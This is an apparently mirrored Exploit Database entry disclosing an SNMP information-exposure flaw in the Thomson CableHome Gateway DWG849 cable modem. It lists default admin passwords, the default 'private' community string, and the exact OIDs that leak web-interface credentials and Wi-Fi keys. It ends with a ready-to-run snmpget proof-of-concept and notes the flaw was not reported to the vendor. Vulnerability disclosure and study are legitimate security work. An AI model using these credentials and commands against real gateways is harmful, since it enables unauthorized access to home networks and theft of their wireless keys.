Thomson CableHome Gateway (DWG849) Cable Modem Gateway – Information Exposure

Exploit Database
108 阅读

作者： Matthew Dunlap

日期： 2015-09-19
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/38242/

# Exploit Title: Information Exposure via SNMP on Thomson CableHome Gateway

[MODEL: DWG849] Cable Modem Gateway

# Google Dork: n/a

# Date: 09/18/2015

# Exploit Author: Matt Dunlap

# Vendor Homepage:

http://www.technicolor.com/en/solutions-services/connected-home/modems-gateways

# Software Link: n/a

# Version: Thomson CableHome Gateway <<HW_REV: 1.0; VENDOR: Thomson; BOOTR:

2.1.7i; SW_REV: STC0.01.16; MODEL: *DWG849*>>

# Tested on: Ubuntu 14.04.3

# CVE : Not reported to vendor (yet)

Information Exposure via SNMP on Thomson CableHome Gateway [MODEL: DWG849]

Cable Modem Gateway

Affected Product:

Thomson CableHome Gateway <<MODEL: DWG849>> Cable Modem Gateway

NOTE: The model DWG850-4 is open to the same attack but doesn’t come with

the remote administration enabled (no web interface, no telnet)

Severity Rating:

Important

Impact:

Username and password for the user interface as well as wireless network

keys can be disclosed through SNMP.

At the time of posting this there are 61,505 results on Shodan for this

model.

By default there are 2 open ports: 161 (snmp), 8080 (web administration)

The default password of 4GIt3M has been set on every unit I’ve tested so far

Description:

The Thomson CableHome Gateway DWG849 Cable Modem Gateway product

specifications include SNMP v2 & v3 under Network Management. The

management information bases (MIBs) of various device subsystems on the

DWG849 allows local\remote network users to discover user interface

credentials and wireless network key values through simple SNMP requests

for the value of these variables. Given the security authentication in

SNMPv1 and SNMPv2c do not offer sufficient protection, this increases the

risk that the values can be disclosed through SNMP using the default

read-only community “private”.

Object Identifiers (OIDs):

Make, Model, Software Version:

1.3.6.1.2.1.1.1.0

1.3.6.1.2.1.1.3.0

Web Interface Username \ Password (DEFAULT: admin \ Uq-4GIt3M)

1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0

1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0

SSID and KEY

1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32

1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32

Guest Network OIDs

Other OIDs of interest include

1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33

1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34

1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35

[POC]

snmpget -t15 -v 2c -c private [host] 1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0

1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32

1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32

This issue has not been reported to the vendor.